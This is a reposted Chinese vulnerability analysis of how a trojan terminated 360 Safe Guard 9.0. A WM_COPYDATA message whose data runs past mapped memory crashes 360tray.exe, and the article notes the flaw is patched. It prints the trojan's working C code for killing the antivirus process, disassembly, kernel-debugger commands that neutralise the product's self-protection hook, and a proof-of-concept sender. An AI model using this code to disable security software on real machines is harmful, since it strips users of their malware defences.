发新话题
打印

360安全卫士被关闭漏洞分析【转帖】

360安全卫士被关闭漏洞分析【转帖】

http://www.freebuf.com/articles/system/31951.html

注:本文测试环境为360安全卫士9.0,最新版的安全卫士已修复此漏洞


现象某个木马运行后可以关闭360安全卫士,经过逆向分析发现该木马只是简单运行了以下代码:
HMODULE h360 =GetModuleHandle(TEXT("safemon.dll"));int i = 0;for (i = 0; i<0x30000; i++){if (memcmp((BYTE *)(h360+i), "\x83\xEC\x10\x56\x8D\x44\x24\x04\x50",9)==0){         break;}}if (i==0x30000){return;}FARPROC funcGet360HWND = (FARPROC)(h360+i);HWND hWnd = (HWND)funcGet360HWND();COPYDATASTRUCT cpdata;cpdata.dwData = 0x4d47534d;cpdata.cbData = 0x1000;cpdata.lpData = msgbuf;  //长度0x1000字节的随即数据,其中不能有连续\x00\x00SendMessage(hWnd, WM_COPYDATA, NULL,(LPARAM)&cpdata);我们自己用上面代码运行之后,360安全卫士的进程(360tray.exe)就自动退出了。注意:这个程序必须是带窗口的程序,而不能使控制台程序,因为控制台程序是不加载safemon.dll的。
攻击原理上面如此简单的代码就能导致关闭360,我们来看一下这段代码到底做了什么?首先获得safemon.dll的模块地址,每个有图形界面都会加载这个dll。然后从这个模块里找一处特征代码,经分析发现找的是以下代码:
67366570   83EC 10         sub     esp, 1067366573   56              push    esi67366574   8D4424 04       lea     eax, dword ptr [esp+4]67366578   50              push    eax67366579   6A 00           push   06736657B   8D4C24 10       lea     ecx, dword ptr [esp+10]6736657F   51              push    ecx67366580   68 40653667     push    6736654067366585   6A 00           push    067366587   6A 00           push    067366589   C74424 20 E48D4>mov     dwordptr [esp+20], 67418DE4                   ; ASCII "Q360SafeMonClass"67366591   C74424 24 00000>mov     dwordptr [esp+24], 067366599   C74424 28 00000>mov     dwordptr [esp+28], 0673665A1   FF15 10D34067   call    dword ptr [<&KERNEL32.GetCurrentProcess>]       ; kernel32.GetCurrentProcess673665A7   50              push    eax673665A8   FF15 58D14067   call    dword ptr[<&KERNEL32.CreateRemoteThread>]     ; kernel32.CreateRemoteThread673665AE   8BF0            mov     esi,eax673665B0   85F6            test    esi, esi673665B2   74 10           je      short 673665C4673665B4   6A FF           push    -1673665B6   56              push    esi673665B7   FF15 24D14067   call    dword ptr [<&KERNEL32.WaitForSingleObject>]     ; kernel32.WaitForSingleObject673665BD   56              push    esi673665BE   FF15 20D34067   call    dword ptr[<&KERNEL32.CloseHandle>]            ; kernel32.CloseHandle673665C4   8B4424 10       mov     eax, dword ptr [esp+10]673665C8   5E              pop     esi673665C9   83C4 10         add     esp, 10673665CC   C3              retn其作用就是找到Q360SafeMonClass的窗口句柄。找到这段代码后就会执行这段代码来获取该窗口句柄。为什么不直接用FindWindow来查找呢?据分析应该是360做了一些防护,直接找怕找不到。
找到这个窗口后会给他发送WM_COPYDATA消息,附带的消息COPYDATASTRUCT结构的dwData是0x4d47534d,数据长度是0×1000,内容是随机数据。
我自己写了个程序模拟上述功能后,运行成功结束了360tray的进程,证明原理是没有错的。
漏洞调试究竟是什么原因导致360tray如此简单就被关闭呢,我决定调试一下360看,启动OD准备附加360tray进程,发现无法附加,360做了保护。要想调试360首先要把保护去掉。
用XueTr看360的内核Hook点,并尝试恢复:

恢复之后尝试OD附加仍然失败,再刷新hook点已经被恢复了,这是当然的,360也要保护自身嘛。于是windbg开双机调试,在hook点下写断点,这样当360驱动恢复这里的时候,我们把他nop掉。

然后只要
kd> eb f747ed78 c3kd> u f747ed78Hookport+0xcd78:f747ed78 c3              retf747ed79 ff558b          call    dword ptr [ebp-75h]f747ed7c ec              in      al,dxf747ed7d 51              push   ecxf747ed7e 51              push    ecxf747ed7f 8d45fc          lea     eax,[ebp-4]f747ed82 50              push    eaxf747ed83 ff1594ff47f7    call   dword ptr [Hookport+0xdf94 (f747ff94)]kd> g这时候只要再恢复内核hook点,360就哑巴了,然后成功用OD附加360tray进程:

漏洞原理经过调试发现,导致360出错退出的地方在360safemonpro.tpi这个模块里inline编译的vsnwprintf,从这里调用:




其中va_list参数里有我们WM_COPYDATA消息传进去的数据,然后在里面进入_woutput_l的时候出错了:

对应的源代码是:
output.c

/*textlen now contains length in multibyte chars */
}
else{
if(text.wz== NULL)
/* NULLpassed, use special string */                        text.wz = __wnullstring;                    bufferiswide=
1;                    pwch= text.wz;
while(i--
&&
*pwch)
//这里出错了
++pwch;                    textlen=
(int)(pwch- text.wz);
/* in wchar_ts*/
/*textlen now contains length in wide chars */
}看起来360的用法是没有错的,这里不存在溢出之类的漏洞,我分析认为这是微软挖的一个坑,360不幸掉进去了,对WM_COPYDATA的数据处理不当回导致访问未映射的内存。
以下是来自网上的WM_COPYDATA数据传递的原理:

跨线程的WM_COPYDATA没有使用共享内存,反而复制了两次数据发送者SendMessage->xxxSendMessageTimeout->xxxInterSendMsgEx(UserAllocPoolWithQuota分配内核内存,将用户数据复制到内核空间)->SetWakeBit唤醒接受者->SetWakeBit等待应答接受者xxxReceiveMessage->XXXSENDMESSAGETOCLIENT(宏)->ScSendMessageSMS(也是宏)->SfnCOPYDATA(sender side)->CaptureCallbackData(把数据从内核空间复制到用户空间)->KeUserModeCallback(转到用户模式)->SfnCOPYDATA(receiver side)->窗口过程->回到内核模式,应答发送者...........‍

所以传递的数据并不是一块新分配的heap,而0×1000为单位长度映射的内存空间,是一块没头没尾的空间,一旦使用一些字符串操作函数直接访问这块空间,很容易造成越界访问到没映射的内存里。

‍‍为了证实这个理论,我们可以自己写一个WM_COPYDATA的是以消息处理函数,模拟漏洞的产生过程:‍‍‍‍
BOOL CrecvDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
wchar_t buf[0x2000]={0};    _snwprintf(buf,
0x2000, L"url=%s", pCopyDataStruct->lpData);
return
CDialog::OnCopyData(pWnd, pCopyDataStruct);
}这段代码看上去是没什么问题的,直接把传进来的lpData当做字符串来处理。我们再写一个发送函数:
HWND hWnd=FindWindowA("#32770","recv");
if
(hWnd)
{
int len=0x1000;
//这一定要是0x1000的整数倍
char*buf=new
char[len];            memset(buf,
0x41, len);
COPYDATASTRUCTcpdata;            cpdata.dwData =
0x4d47534d;            cpdata.cbData = len;            cpdata.lpData = buf;
SendMessage(hWnd, WM_COPYDATA,NULL,
(LPARAM)&cpdata);
delete[] buf;
}运行发送消息后,接收消息的程序报错了,出错点就是刚才分析的地方。

总结严格意义上讲,导致360被结束的这个问题应该不算一个漏洞,而是由于微软没对使用COPYDATASTRUCT.lpData的内存做一些要求,正常的库函数访问的时候就可能导致出错。要安全使用COPYDATASTRUCT.lpData,应该把这块内存先拷贝出来,然后再进行操作。
另一方面,这个漏洞为我们指引了寻找360漏洞的方向,凡是有用户能控制输入的地方都有可能存在此类漏洞。

TOP

发新话题